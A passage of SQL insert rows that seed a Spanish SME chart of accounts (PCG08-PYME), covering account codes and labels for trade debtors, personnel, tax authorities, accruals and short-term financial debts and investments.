cartera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4290,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4311',4288,'Efectos comerciales descontados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4291,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4312',4288,'Efectos comerciales en gestión de cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4292,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4315',4288,'Efectos comerciales impagados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4293,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','432',4283,'Clientes operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4294,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','433',4283,'Clientes empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4295,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4330',4294,'Clientes empresas del grupo euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4296,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4331',4294,'Efectos comerciales a cobrar empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4297,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4332',4294,'Clientes empresas del grupo operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4298,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4334',4294,'Clientes empresas del grupo moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4299,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4336',4294,'Clientes empresas del grupo dudoso cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4300,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4337',4294,'Envases y embalajes a devolver a clientes empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4301,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4339',4294,'Clientes empresas del grupo facturas pendientes de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4302,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','434',4283,'Clientes empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4303,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','435',4283,'Clientes otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4304,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','436',4283,'Clientes de dudoso cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4305,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','437',4283,'Envases y embalajes a devolver por clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4306,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','438',4283,'Anticipos de clientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4307,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','44',4004,'Deudores varios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4308,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','440',4307,'Deudores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4309,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4400',4308,'Deudores euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4310,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4404',4308,'Deudores moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4311,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4409',4308,'Deudores facturas pendientes de formalizar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4312,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','441',4307,'Deudores efectos comerciales a cobrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4313,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4410',4312,'Deudores efectos comerciales en cartera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4314,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4411',4312,'Deudores efectos comerciales descontados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4315,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4412',4312,'Deudores efectos comerciales en gestión de cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4316,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4415',4312,'Deudores efectos comerciales impagados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4317,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','446',4307,'Deudores de dusoso cobro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4318,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','449',4307,'Deudores por operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4319,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','46',4004,'Personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4320,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','460',4319,'Anticipos de renumeraciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4321,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','465',4319,'Renumeraciones pendientes de pago',NULL,0,NULL,NULL,1,0,NULL,NULL),(4322,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','47',4004,'Administraciones Públicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4323,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','470',4322,'Hacienda Pública deudora por diversos conceptos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4324,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4700',4323,'Hacienda Pública deudora por IVA',NULL,0,NULL,NULL,1,0,NULL,NULL),(4325,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4708',4323,'Hacienda Pública deudora por subvenciones concedidas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4326,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4709',4323,'Hacienda Pública deudora por devolución de impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4327,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','471',4322,'Organismos de la Seguridad Social deudores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4328,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','472',4322,'Hacienda Pública IVA soportado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4329,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','473',4322,'Hacienda Pública retenciones y pagos a cuenta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4330,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','474',4322,'Activos por impuesto diferido',NULL,0,NULL,NULL,1,0,NULL,NULL),(4331,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4740',4330,'Activos por diferencias temporarias deducibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4332,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4742',4330,'Derechos por deducciones y bonificaciones pendientes de aplicar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4333,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4745',4330,'Crédito por pérdidasa compensar del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4334,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','475',4322,'Hacienda Pública acreedora por conceptos fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4335,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4750',4334,'Hacienda Pública acreedora por IVA',NULL,0,NULL,NULL,1,0,NULL,NULL),(4336,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4751',4334,'Hacienda Pública acreedora por retenciones practicadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4337,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4752',4334,'Hacienda Pública acreedora por impuesto sobre sociedades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4338,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4758',4334,'Hacienda Pública acreedora por subvenciones a integrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4339,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','476',4322,'Organismos de la Seguridad Social acreedores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4340,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','477',4322,'Hacienda Pública IVA repercutido',NULL,0,NULL,NULL,1,0,NULL,NULL),(4341,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','479',4322,'Pasivos por diferencias temporarias imponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4342,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','48',4004,'Ajustes por periodificación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4343,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','480',4342,'Gastos anticipados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4344,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','485',4342,'Ingresos anticipados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4345,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','49',4004,'Deterioro de valor de créditos comerciales y provisiones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4346,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','490',4345,'Deterioro de valor de créditos por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4347,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','493',4345,'Deterioro de valor de créditos por operaciones comerciales con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4348,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4933',4347,'Deterioro de valor de créditos por operaciones comerciales con empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4349,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4934',4347,'Deterioro de valor de créditos por operaciones comerciales con empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4350,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4935',4347,'Deterioro de valor de créditos por operaciones comerciales con otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4351,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','499',4345,'Provisiones por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4352,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4994',4351,'Provisión para contratos anerosos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4353,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACREEDORES_DEUDORES','4999',4351,'Provisión para otras operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4354,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','50',4005,'Emprésitos deudas con características especiales y otras emisiones análogas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4355,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','500',4354,'Obligaciones y bonos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4356,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','502',4354,'Acciones o participaciones a corto plazo consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4357,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','505',4354,'Deudas representadas en otros valores negociables a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4358,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','506',4354,'Intereses a corto plazo de emprésitos y otras emisiones analógicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4359,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','507',4354,'Dividendos de acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4360,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','509',4354,'Valores negociables amortizados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4361,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5090',4360,'Obligaciones y bonos amortizados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4362,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5095',4360,'Otros valores negociables amortizados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4363,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','51',4005,'Deudas a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4364,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','510',4363,'Deudas a corto plazo con entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4365,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5103',4364,'Deudas a corto plazo con entidades de crédito empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4366,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5104',4364,'Deudas a corto plazo con entidades de crédito empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4367,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5105',4364,'Deudas a corto plazo con otras entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4368,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','511',4363,'Proveedores de inmovilizado a corto plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4369,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5113',4368,'Proveedores de inmovilizado a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4370,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5114',4368,'Proveedores de inmovilizado a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4371,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5115',4368,'Proveedores de inmovilizado a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4372,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','512',4363,'Acreedores por arrendamiento financiero a corto plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4373,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5123',4372,'Acreedores por arrendamiento financiero a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4374,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5124',4372,'Acreedores por arrendamiento financiero a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4375,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5125',4372,'Acreedores por arrendamiento financiero a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4376,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','513',4363,'Otras deudas a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4377,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5133',4376,'Otras deudas a corto plazo con empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4378,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5134',4376,'Otras deudas a corto plazo con empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4379,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5135',4376,'Otras deudas a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4380,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','514',4363,'Intereses a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4381,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5143',4380,'Intereses a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4382,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5144',4380,'Intereses a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4383,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5145',4380,'Intereses deudas a corto plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4384,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','52',4005,'Deudas a corto plazo por préstamos recibidos y otros conceptos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4385,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','520',4384,'Deudas a corto plazo con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4386,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5200',4385,'Préstamos a corto plazo de entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4387,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5201',4385,'Deudas a corto plazo por crédito dispuesto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4388,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5208',4385,'Deudas por efectos descontados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4389,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5209',4385,'Deudas por operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4390,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','521',4384,'Deudas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4391,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','522',4384,'Deudas a corto plazo transformables en subvenciones donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4392,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','523',4384,'Proveedores de inmovilizado a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4393,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','526',4384,'Dividendo activo a pagar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4394,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','527',4384,'Intereses a corto plazo de deudas con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4395,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','528',4384,'Intereses a corto plazo de deudas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4396,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','529',4384,'Provisiones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4397,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5291',4396,'Provisión a corto plazo para impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4398,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5292',4396,'Provisión a corto plazo para otras responsabilidades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4399,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5293',4396,'Provisión a corto plazo por desmantelamiento retiro o rehabilitación del inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4400,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5295',4396,'Provisión a corto plazo para actuaciones medioambientales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4401,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','53',4005,'Inversiones financieras a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4402,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','530',4401,'Participaciones a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4403,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5303',4402,'Participaciones a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4404,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5304',4402,'Participaciones a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4405,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5305',4402,'Participaciones a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4406,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','531',4401,'Valores representativos de deuda a corto plazo de partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4407,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5313',4406,'Valores representativos de deuda a corto plazo de empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4408,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5314',4406,'Valores representativos de deuda a corto plazo de empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4409,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5315',4406,'Valores representativos de deuda a corto plazo de otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4410,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','532',4401,'Créditos a corto plazo a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4411,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5323',4410,'Créditos a corto plazo a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4412,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5324',4410,'Créditos a corto plazo a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4413,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5325',4410,'Créditos a corto plazo a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4414,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','533',4401,'Intereses a corto plazo de valores representativos de deuda de partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4415,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5333',4414,'Intereses a corto plazo de valores representativos de deuda en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4416,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5334',4414,'Intereses a corto plazo de valores representativos de deuda en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4417,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5335',4414,'Intereses a corto plazo de valores representativos de deuda en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4418,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','534',4401,'Intereses a corto plazo de créditos a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4419,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5343',4418,'Intereses a corto plazo de créditos a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4420,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5344',4418,'Intereses a corto plazo de créditos a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4421,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5345',4418,'Intereses a corto plazo de créditos a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4422,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','535',4401,'Dividendo a cobrar de inversiones financieras en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4423,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5353',4422,'Dividendo a cobrar de empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4424,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5354',4422,'Dividendo a cobrar de empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4425,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5355',4422,'Dividendo a cobrar de otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4426,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','539',4401,'Desembolsos pendientes sobre participaciones a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4427,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5393',4426,'Desembolsos pendientes sobre participaciones a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4428,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5394',4426,'Desembolsos pendientes sobre participaciones a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4429,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5395',4426,'Desembolsos pendientes sobre participaciones a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4430,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','54',4005,'Otras inversiones financieras a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4431,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','540',4430,'Inversiones financieras a corto plazo en instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4432,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','541',4430,'Valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4433,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','542',4430,'Créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4434,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','543',4430,'Créditos a corto plazo por enejenación de inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4435,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','544',4430,'Créditos a corto plazo al personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4436,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','545',4430,'Dividendo a cobrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4437,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','546',4430,'Intereses a corto plazo de valores reprsentativos de 